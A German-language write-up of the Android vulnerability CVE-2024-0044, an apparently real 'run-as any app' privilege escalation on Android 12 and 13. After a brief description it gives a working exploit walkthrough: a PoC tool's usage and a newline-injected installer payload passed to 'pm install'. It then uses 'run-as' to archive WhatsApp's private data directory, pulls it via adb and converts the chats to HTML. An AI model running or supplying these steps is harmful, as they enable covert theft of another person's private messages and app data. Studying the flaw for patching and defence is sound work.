
CVE-2024-0044: eine hochkritische Sicherheitslücke vom Typ "als beliebige App ausführen", die die Android-Versionen 12 und 13 betrifft.
CVE-2024-0044, identifiziert in der Funktion createSessionInternal der Datei PackageInstallerService.java, ist eine Schwachstelle mit hohem Schweregrad, die Android-Versionen 12 und 13 betrifft. Diese Schwachstelle ermöglicht es einem Angreifer, einen "run-as any app"-Angriff durchzuführen, was zu einer lokalen Eskalation von Privilegien ohne Benutzerinteraktion führt.Das Problem entsteht aufgrund einer unzureichenden Eingabevalidierung innerhalb der createSessionInternal-Funktion. Ein Angreifer kann dies ausnutzen, indem er den Sitzungserstellungsprozess manipuliert, was potenziell zu unbefugtem Zugriff auf sensible Daten und unbefugten Aktionen auf dem betroffenen Gerät führen kann.
Der Exploit wurde entdeckt von Meta security
Der Proof of Concept wurde zusammengefasst und geteilt von Tiny hack
Details zum Sicherheitspatch finden Sie im Android-Sicherheitsbulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P wird verwendet, um den Ziel-Paketnamen anzugeben, als den Sie ausgeführt werden möchten
-A um die APK-Datei anzugeben, die auf das Gerät übertragen werden soll
Führen Sie das Tool aus
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Eine payload.txt-Datei wie diese wird generiert
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success-Meldung erhaltenpl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Erstellen Sie ein temporäres Verzeichnis: mkdir /data/local/tmp/wa/
Erstellen Sie einen Platzhalter für eine Tar-Datei: touch /data/local/tmp/wa/wa.tar
Setzen Sie weit offene Berechtigungen: chmod -R 0777 /data/local/tmp/wa/, um sicherzustellen, dass jeder Benutzer in diesem Verzeichnis lesen, schreiben und ausführen kann.
Wechseln Sie den Benutzerkontext: run-as victim, um dieselben Berechtigungen wie der "victim"-Benutzer zu erhalten.
Archivieren Sie die Daten der Zielanwendung: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, um ein Tarball des WhatsApp-Datenverzeichnisses zu erstellen.
adb pull /data/local/tmp/wa/wa.tar
Sie können die Daten mit 7z oder einem anderen Tool extrahieren
Sie können den WhatsApp-Chat-Exporter verwenden, um sie in HTML zu konvertieren
Dies ermöglicht es Ihnen, WhatsApp-Daten ohne Root-Zugriff auf Ihrem Gerät zu erhalten.